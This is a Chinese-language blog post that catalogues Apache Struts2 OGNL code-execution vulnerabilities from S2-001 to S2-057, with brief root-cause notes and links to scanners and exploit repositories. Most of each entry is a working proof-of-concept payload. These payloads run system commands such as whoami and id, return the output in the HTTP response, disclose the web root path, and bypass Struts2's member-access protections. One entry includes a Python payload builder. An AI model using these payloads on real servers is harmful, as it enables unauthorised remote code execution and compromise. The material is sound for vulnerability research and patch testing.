美文网首页
Struts2代码执行漏洞整理

Struts2代码执行漏洞整理

作者: jjf012 | 来源:发表于2019-06-07 19:22 被阅读0次

    写这篇文章原因就想看看POC演化的过程
    另外要是我看到了什么可以补充的东西会更新本文
    更新时间 2019年6月9日

    官方补丁历史
    https://cwiki.apache.org/confluence/display/WW/Security+Bulletins

    ognl表达式相关

    这里只是简单介绍,想要深入需要自己去搜索

    1. 普通表达式
    <% ShoppingCart cart = (ShoppingCart)session.get("cart");
    int id = cart.getId();%>
    <%=id%>
    
    1. 文艺表达式 <%=((shoppingCart)session.get("cart")).getId() %>
    2. ognl表达式 #session.cart.id

    三要素

    • 表达式:是整个OGNL的核心,是自根对象被访问对象某个链式操作的字符串表示。
    • root:针对根对象(Root Object)的操作。在表达式规定了“干什么”以后,你还需要指定到底“对谁干”。
    • context:将规定OGNL的操作“在哪里干”。
      OGNL执行上下文环境,有request、session、application 、parameters、value stack、attr

    $:在配置文件、国际化资源文件中引用OGNL表达式
    #:访问上下文非root对象,相当于ActionContext.getContext()
    @:访问静态属性、静态方法
    %:强制(输出)内容为OGNL表达式

    表达式功能清单
    本段来自于乌云drops

    1. 基本对象树的访问
      对象树的访问就是通过使用点号将对象的引用串联起来进行。
      例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx
    2. 对容器变量的访问
      对容器变量的访问,通过#符号加上表达式进行。
      例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx
    3. 使用操作符号
      OGNL表达式中能使用的操作符基本跟Java里的操作符一样,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,还能使用mod, in, not in等。
    4. 容器、数组、对象
      OGNL支持对数组ArrayList等容器的顺序访问:例如:group.users[0]
      同时,OGNL支持对Map的按键值查找:
      例如:#session['mySessionPropKey']
      不仅如此,OGNL还支持容器的构造的表达式:
      例如:{"green", "red", "blue"}构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map
      你也可以通过任意类对象的构造函数进行对象新建:
      例如:new Java.net.URL("xxxxxx/")
    5. 静态方法或变量的访问
      要引用类的静态方法和字段,他们的表达方式是一样的@class@member或者@class@method(args)
      例如:@com.javaeye.core.Resource@ENABLE,@java.lang.String@format('foo %s','bar')
    6. 方法调用
      类似Java,甚至可以传递参数。如objName.methodName(#parameter)
    7. 投影和选择
      OGNL支持类似数据库中的投影(projection) 和选择(selection)
      • 投影就是选出集合中每个元素的相同属性组成新的集合,类似于关系数据库的字段操作。投影操作语法为collection.{XXX},其中XXX是这个集合中每个元素的公共属性
        例如:group.userList.{username}将获得某个group中的所有user的name的列表。
      • 选择就是过滤满足selection条件的集合元素,类似于关系数据库的纪录操作。选择操作的语法为:collection.{X YYY},其中X 是一个选择操作符,后面则是选择用的逻辑表达式。而选择操作符有三种:
        ? 选择满足条件的所有元素
        ^ 选择满足条件的第一个元素
        $ 选择满足条件的最后一个元素
        如:group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。
    注入点 代码写法
    request参数名、cookie名 (ognl)(constant)=value&(constant)((ognl1)(ognl2))
    request参数值 %{ognl} ${ognl} 'ognl' (ognl)
    request的filename %{ognl} ${ognl}
    request的url /%{ognl}.action /${ognl}.action
    request的content-type %{ognl} ${ognl}

    示例代码
    get方式,调用对象的静态方法执行命令

    OgnlContext context = new OgnlContext();
    Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')",context,context.getRoot());
    

    set方式,new一个对象调用方法执行命令

    OgnlContext context = new OgnlContext();
    Ognl.setValue(new java.lang.ProcessBuilder((new java.lang.String[] {"calc" })).start(), context,context.getRoot());
    

    struts2框架执行流程

    可以看这个 https://blog.csdn.net/wjw0130/article/details/46371847

    S2-001

    该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

    获取web目录

    %{#req=@org.apache.struts2.ServletActionContext@getRequest(),
    #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
    #response.println(#req.getRealPath('/')),#response.flush(),
    #response.close()}
    

    执行系统命令

    %{
    #a=(new java.lang.ProcessBuilder("whoami")).start(),
    #b=#a.getInputStream(),
    #c=new java.io.InputStreamReader(#b),
    #d=new java.io.BufferedReader(#c),
    #e=new char[50000],#d.read(#e),
    #matt=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
    #matt.getWriter().println(new java.lang.String(#e)),
    #matt.getWriter().flush(),
    #matt.getWriter().close()}
    

    S2-003/S2-005

    S2-003漏洞发生在请求参数名,Struts2框架会对每个请求参数名解析为OGNL语句执行。
    对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,绕过这个修复很简单,所以就有了S2-005。ognl表达式通过#访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制。

    由于ONGL的调用可以通过http传参来执行,为了防止攻击者以此来调用任意方法,Xwork设置了两个参数来进行防护:

    • OgnlContext的属性 xwork.MethodAccessor.denyMethodExecution(默认为真)
    • SecurityMemberAccess私有字段allowStaticMethodAccess(默认为假)

    获取web目录

    ('\43_memberAccess.allowStaticMethodAccess')(a)=true
    &(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))
    &('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))
    &(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))
    &(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))
    &(i97)(('\43xman.getWriter().println(\43req.getRealPath(%22\u005c%22))')(d))
    &(i99)(('\43xman.getWriter().close()')(d))
    

    执行系统命令

    ('\43_memberAccess.allowStaticMethodAccess')(a)=true
    &(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))
    &('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))
    &(g)(('\43mycmd\75\'"+cmd+"\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))
    &(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))
    &(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))
    &(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))
    &(n)(('\43myout.getWriter().println(\43mystr)')(d))
    

    S2-007

    用户输入被当作OGNL表达式解析,当对用户输入进行验证出现类型转换错误时。如配置了验证规则<ActionName>-validation.xml时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次OGNL表达式解析并返回。

    '%2b(%23_memberAccess.allowStaticMethodAccess=true,
    %23context["xwork.MethodAccessor.denyMethodExecution"]=false,
    %23cmd="ifconfig",
    %23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),
    %23data=new+java.io.DataInputStream(%23ret.getInputStream()),
    %23res=new+byte[500],
    %23data.readFully(%23res),
    %23echo=new+java.lang.String(%23res),
    %23out=@org.apache.struts2.ServletActionContext@getResponse(),
    %23out.getWriter().println(%23echo))%2b'
    

    S2-008

    利用道理和S2-005差不多,只不过是在cookie名称处注入,由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋,网上也并没有相关分析介绍。

    S2-009

    漏洞利用点跟S2-003和S2-005类似,利用OGNL表达式(1)(2),会执行1的OGNL表达式,009构造了的方法为test=(some OGNL 表达式)(1)&z[(test)(1)]=true
    z[(test)(1)]=true,对struts2来说是合法的参数,但是(test)(1)会执行上述说的方法,test的值被带入计算,造成命令执行。

    foo=(#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]=+new+java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)
    &z[(foo)('meh')]=true
    

    foo参数值必须是action字符串变量,OGNL表达式被写入foo变量中,然后ParametersInterceptor拦截器在对第二参数名处理时,会取出foo值并作为OGNL表达式解析执行,造成远程代码执行漏洞。

    S2-012

    配置文件中,Action节点里的Result时使用了重定向类型type=redirectAction,并且还使用${param_name}作为重定向变量,struts在获取其值时会执行OGNL表达式,从而造成命令执行。

    %{(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#_memberAccess['allowStaticMethodAccess']=true)
    (#a=(new java.lang.ProcessBuilder('whoami')).start(),
    #b=#a.getInputStream(),
    #c=new java.io.InputStreamReader(#b),
    #d=new java.io.BufferedReader(#c),
    #e=new char[50000],
    #d.read(#e),
    #matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
    #matt.getWriter().println('dbapp:'+new java.lang.String(#e)),
    #matt.getWriter().flush(),#matt.getWriter().close())}
    

    S2-013/S2-014

    Apache Struts2的<s:a><s:url>标签都提供了一个includeParams属性。此属性允许使用的值包括none、get、all。当该属性被设置为get或all时,Apache Struts2会将用户提交的参数值作为Ognl表达式执行。

    a=${(#_memberAccess["allowStaticMethodAccess"]=true,
    #a=@java.lang.Runtime@getRuntime().exec('"+cmd+"').getInputStream(),
    #b=new+java.io.InputStreamReader(#a),
    #c=new+java.io.BufferedReader(#b),
    #d=new+char[50000],
    #c.read(#d),
    #out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
    #out.println('dbapp:'+new java.lang.String(#d)),
    #out.close())}
    

    官方只限制了%{(#exp)}格式的OGNL执行,因为还有%{#exp}形式,从而造成了S2-014。

    S2-015

    下述配置能让我们访问name.action时使用name.jsp来渲染页面,但是在提取name并解析时,对其执行了OGNL表达式解析,所以导致命令执行。

    <action name="*" class="example.ExampleSupport">
        <result>/example/{1}.jsp</result>
    </action>
    

    还有需要说明的就是在Struts 2.3.14.1 - Struts 2.3.14.2的更新内容中,删除了SecurityMemberAccess类中的setAllowStaticMethodAccess方法,因此在2.3.14.2版本以后都不能直接通过#_memberAccess['allowStaticMethodAccess']=true来修改其值达到重获静态方法调用的能力。

    ${#context['xwork.MethodAccessor.denyMethodExecution']=false,
    #m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
    #m.setAccessible(true),
    #m.set(#_memberAccess,true),
    #q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()),#q}
    

    S2-016

    DefaultActionMapper类支持以action:redirect:redirectAction:作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致命令执行。

    • 获取web路径
    redirect:${#a=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),
    #b=#a.getRealPath("/"),
    #matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
    #matt.getWriter().println(#b),
    #matt.getWriter().flush(),
    #matt.getWriter().close()}
    
    • 执行系统命令,执行结果是回显在URL中
    redirect:${#context['xwork.MethodAccessor.denyMethodExecution']=false,
    #f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),
    #f.setAccessible(true),
    #f.set(#_memberAccess,true),
    @org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
    
    • 执行系统命令2,回显在页面
    redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).start(),
    #b=#a.getInputStream(),
    #c=new java.io.InputStreamReader(#b),
    #d=new java.io.BufferedReader(#c),
    #e=new char[50000],#d.read(#e),
    #matt=#context.get('co'+'m.ope'+'nsymph'+'ony.x'+'wor'+'k2.disp'+'atch'+'er.HttpSe'+'rvletRe'+'sponse'),
    #matt.getWriter().println(new java.lang.String(#e)),#matt.getWriter().flush(),#matt.getWriter().close()}
    

    S2-019

    属于S2-008发布的第四个漏洞,也就是DebuggingInterceptor拦截器中的缺陷漏洞。需要开启开发者模式<constant name="struts.devMode" value="true" />,传入debug=command&expression = OGNL表达式,从而造成命令执行漏洞。

    debug=command&expression=
    #a=(new java.lang.ProcessBuilder('whoami')).start(),
    #b=#a.getInputStream(),
    #c=new java.io.InputStreamReader(#b),
    #d=new java.io.BufferedReader(#c),
    #e=new char[50000],#d.read(#e),
    #out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
    #out.getWriter().println('dbapp:'+new java.lang.String(#e)),
    #out.getWriter().flush(),#out.getWriter().close()
    

    S2-020/S2-021

    这两个漏洞跟ognl的关系不大。利用成功了是代码执行,利用失败了就是DOS。
    附上个POC地址:https://github.com/coffeehb/Some-PoC-oR-ExP/blob/master/Struts2/S2-020_POC.py

    S2-029

    Struts2的标签库使用OGNL表达式来访问ActionContext中的对象数据。为了能够访问到ActionContext中的变量,Struts2将ActionContext设置为OGNL的上下文,并将OGNL的跟对象加入ActionContext中。
    如下的标签就调用了OGNL进行取值。
    <p>parameters: <s:property value="#parameters.msg" /></p>
    Struts2会解析value中的值,并当作OGNL表达式进行执行,获取到parameters对象的msg属性。

    这个漏洞利用,可以说是非常难,漏洞的原理是二次OGNL表达式执行。
    建议阅读 https://www.iswin.org/2016/03/20/Struts2-S2-029%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

    这个回显结果的代码就跟上面的不太一样了

    #_memberAccess.allowPrivateAccess=true,
    #_memberAccess.allowStaticMethodAccess=true,
    #_memberAccess.excludedClasses=#_memberAccess.acceptProperties,
    #_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties,
    #res=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
    #a=@java.lang.Runtime@getRuntime(),
    #s=new java.util.Scanner(#a.exec('whoami').getInputStream()).useDelimiter('\\\\A'),
    #str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()
    

    S2-032/S2-033/S2-037

    前提开启动态调用
    <constant name="struts.enable.DynamicMethodInvocation" value="true" />

    这三个漏洞都是抓住了DefaultActionInvocation中会把ActionProxy中的method属性取出来放入到ognlUtil.getValue(methodName + "()" getStack().getContext(), action);方法中执行OGNL表达式。

    • S2-032 前缀参数method:OGNL表达式的形式;
    • S2-033 通过actionName!method的方式,用OGNL表达式将method替换;
    • S2-037 通过actionName/id/methodName的方式,用OGNL表达式替换methodName。

    所以这三个漏洞的POC是一样的。需要放到URL中使用。

    #_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
    #a=(new java.lang.ProcessBuilder(#parameters.a[0])).start(),
    #b=#a.getInputStream(),
    #c=new java.io.InputStreamReader(#b),
    #d=new java.io.BufferedReader(#c),
    #e=new char[50000],#d.read(#e),
    #matt=#context.get(#parameters.b[0]),
    #matt.getWriter().println(#parameters.c[0]+new java.lang.String(#e)),
    #matt.getWriter().flush(),
    #matt.getWriter().close
    &a=whoami&b=com.opensymphony.xwork2.dispatcher.HttpServletResponse&c=flag
    

    S2-045/S2-046

    S2-045漏洞和S2-046漏洞非常相似,都是由于报错信息可以包含OGNL表达式,并且被带入了buildErrorMessage这个方法运行,造成远程代码执行。
    利用Jakarta插件,Content-Type需要包含multipart/form-data字段。

    • S2-045 将OGNL表达式注入到HTTP头的Content-Type中;
    • S2-046 第一种是Content-Length的值的长度超长(注:未找到实例),第二种是Content-Dispositionfilename存在空字节

    POC中有个:构造键值对
    回显当前路径

    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
    (#_memberAccess?(#_memberAccess=#dm):
    ((#context.setMemberAccess(#dm)))).
    (#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).
    (#req=@org.apache.struts2.ServletActionContext@getRequest()).(#path=#req.getRealPath('/')).
    (#o.println(#path)).(#o.close())}
    

    执行命令。如果注入点是filename,需要末尾加\x00b

    %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
    (#_memberAccess?(#_memberAccess=#dm):
    (
    (#container=#context['com.opensymphony.xwork2.ActionContext.container']).
    (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
    (#ognlUtil.getExcludedPackageNames().clear()).
    (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))
    ).
    (#cmd='whoami').
    (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
    (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
    (#process=#p.start()).
    (#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    

    S2-048

    漏洞的本质原因是在struts2-struts1-plugin包中的Struts1Action.java中的execute函数调用了getText函数,这个函数会执行ognl表达式,且是getText的输入内容是攻击者可控的。

    回显命令执行。POC跟S2-046一模一样

    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
    (#_memberAccess?(#_memberAccess=#dm):
    ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
    (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
    (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
    (#context.setMemberAccess(#dm)))).
    (#cmd='id').
    (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
    (#p=new java.lang.ProcessBuilder(#cmds)).
    (#p.redirectErrorStream(true)).
    (#process=#p.start()).
    (#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
    (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    

    推荐阅读 根据官方公告去反推漏洞利用方式——s2-048漏洞分析

    S2-052

    跟ognl表达式无关,Struts2 REST插件的XStream组件存在反序列化漏洞。略过。

    S2-053

    当开发者在Freemarker标签中使用如下代码时<@s.hidden name=”redirectUri” value=redirectUri /><@s.hidden name=”redirectUri” value=”${redirectUri}” />,Freemarker会将值当做表达式进行执行,最后导致代码执行。

    这个条件太少见了,囧
    回显命令执行,又跟S2-045一样的构造

    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
    

    S2-057

    Namespace用于将action分为逻辑上的不同模块,可以有效避免action重名的情况。默认namespace为空,当所有namespace都找不到时才会在默认namespace中寻找。
    第一种情况:在struts.xml配置文件中,如果没有为基础xml配置中定义的result设置namespace,且上层<action>标签中没有设置namespace或者是使用通配符namespace时,则可能存在远程代码执行漏洞。
    第二种情况:如果struts的url标签<s:url>中未设置value和action值,且关联的action标签未设置或使用通配符namespace时可能会导致远程代码执行。
    人话:当访问action类型为重定向redirect action,chain,postback时,会根据url生成的namespace生成一个跳转地址locationlocation会进行 ognl 计算。

    回显命令执行的POC跟S2-032很相似???

        ognl_payload = "${"
        ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
        ognl_payload += "(#cmd='{}').".format(cmd)
        ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
        ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
        ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
        ognl_payload += "(#p.redirectErrorStream(true))."
        ognl_payload += "(#process=#p.start())."
        ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
        ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
        ognl_payload += "(#ros.flush())"
        ognl_payload += "}"
    

    2.5.16版本Poc

    $%7B(%23ct=%23request['struts.valueStack'].context).
    (%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']).
    (%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
    (%23ou.setExcludedClasses('java.lang.Shutdown')).
    (%23ou.setExcludedPackageNames('sun.reflect.')).
    (%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
    (%23ct.setMemberAccess(%23dm)).
    (%23cmd=@java.lang.Runtime@getRuntime().exec('gnome-calculator'))%7D
    

    OGNL的攻防简史

    本段选自 浅析OGNL的攻防史

    可以说所有在对于OGNL的攻防全部都是基于如何使用静态方法。Struts2的防护措施从最开始的正则,到之后的黑名单,在保证OGNL强大功能的基础上,将可能执行静态方法的利用链给切断。在分析绕过方法时,需要注意的有这么几点:

    • struts-defult.xml中的黑名单
    • com.opensymphony.xwork2.ognl.SecurityMemberAccess
    • Ognl

    总之是越来越不好绕了。

    相关工具

    struts2漏洞演示环境
    https://github.com/Medicean/VulApps/tree/master/s/struts2
    Struts2全版本漏洞检测工具
    https://github.com/Lucifer1993/struts-scan
    https://github.com/HatBoy/Struts2-Scan

    参考
    https://www.freebuf.com/vuls/168609.html
    http://blog.0kami.cn/2017/01/13/old-Struts2-history-payload/
    https://xz.aliyun.com/t/4607
    https://www.freebuf.com/articles/web/33232.html
    https://blog.csdn.net/u013224189/article/details/81091874
    https://superxiaoxiong.github.io/2018/09/03/s2-057/#struts2-5-系列
    http://drops.xmd5.com/static/drops/papers-340.html

    相关文章

      网友评论

          本文标题:Struts2代码执行漏洞整理

          本文链接:https://www.haomeiwen.com/subject/wgjvxctx.html